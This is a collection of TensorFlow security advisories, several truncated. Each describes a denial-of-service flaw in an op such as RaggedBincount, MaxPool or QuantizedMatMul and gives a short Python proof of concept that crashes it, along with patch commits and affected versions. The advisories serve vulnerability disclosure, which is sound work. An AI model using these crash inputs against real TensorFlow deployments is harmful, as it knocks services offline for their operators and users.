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### Impact If `RaggedBincount` is given an empty input tensor `splits`, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True splits = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-7430) values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.RaggedBincount(splits=splits, values=values, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [7a4591fd4f065f4fa903593bc39b2f79530a74b8](https://github.com/tensorflow/tensorflow/commit/7a4591fd4f065f4fa903593bc39b2f79530a74b8). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1,...

### Impact When `tf.linalg.matrix_rank` receives an empty input `a`, the GPU kernel gives a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf a = tf.constant([], shape=[0, 1, 1], dtype=tf.float32) tf.linalg.matrix_rank(a=a) ``` ### Patches We have patched the issue in GitHub commit [c55b476aa0e0bd4ee99d0f3ad18d9d706cd1260a](https://github.com/tensorflow/tensorflow/commit/c55b476aa0e0bd4ee99d0f3ad18d9d706cd1260a). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Kang Hong Jin.

### Impact When `MaxPool` receives a window size input array `ksize` with dimensions greater than its input tensor `input`, the GPU kernel gives a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf import numpy as np input = np.ones([1, 1, 1, 1]) ksize = [1, 1, 2, 2] strides = [1, 1, 1, 1] padding = 'VALID' data_format = 'NCHW' tf.raw_ops.MaxPool(input=input, ksize=ksize, strides=strides, padding=padding, data_format=data_format) ``` ### Patches We have patched the issue in GitHub commit [32d7bd3defd134f21a4e344c8dfd40099aaf6b18](https://github.com/tensorflow/tensorflow/commit/32d7bd3defd134f21a4e344c8dfd40099aaf6b18). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/...

### Impact If `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288) values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366) dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://git...

### Impact `FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack: ```python import tensorflow as tf overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741...

### Impact If `QuantizedRelu` or `QuantizedRelu6` are given nonscalar inputs for `min_features` or `max_features`, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.quint8 features = tf.constant(28, shape=[4,2], dtype=tf.quint8) min_features = tf.constant([], shape=[0], dtype=tf.float32) max_features = tf.constant(-128, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedRelu(features=features, min_features=min_features, max_features=max_features, out_type=out_type) tf.raw_ops.QuantizedRelu6(features=features, min_features=min_features, max_features=max_features, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2....

### Impact If `QuantizeDownAndShrinkRange` is given nonscalar inputs for `input_min` or `input_max`, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.quint8 input = tf.constant([1], shape=[3], dtype=tf.qint32) input_min = tf.constant([], shape=[0], dtype=tf.float32) input_max = tf.constant(-256, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [73ad1815ebcfeb7c051f9c2f7ab5024380ca8613](https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/ten...

### Impact If `QuantizedMatMul` is given nonscalar input for: - `min_a` - `max_a` - `min_b` - `max_b` It gives a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation) ``` ### Patches We have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48). The fix will be ...

### Impact If `QuantizedBiasAdd` is given `min_input`, `max_input`, `min_bias`, `max_bias` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.qint32 input = tf.constant([85,170,255], shape=[3], dtype=tf.quint8) bias = tf.constant(43, shape=[2,3], dtype=tf.quint8) min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[1], dtype=tf.float32) min_bias = tf.constant(0, shape=[1], dtype=tf.float32) max_bias = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedBiasAdd(input=input, bias=bias, min_input=min_input, max_input=max_input, min_bias=min_bias, max_bias=max_bias, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also c...

### Impact If `FakeQuantWithMinMaxVars` is given `min` or `max` tensors of a nonzero rank, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf num_bits = 8 narrow_range = False inputs = tf.constant(0, shape=[2,3], dtype=tf.float32) min = tf.constant(0, shape=[2,3], dtype=tf.float32) max = tf.constant(0, shape=[2,3], dtype=tf.float32) tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tens...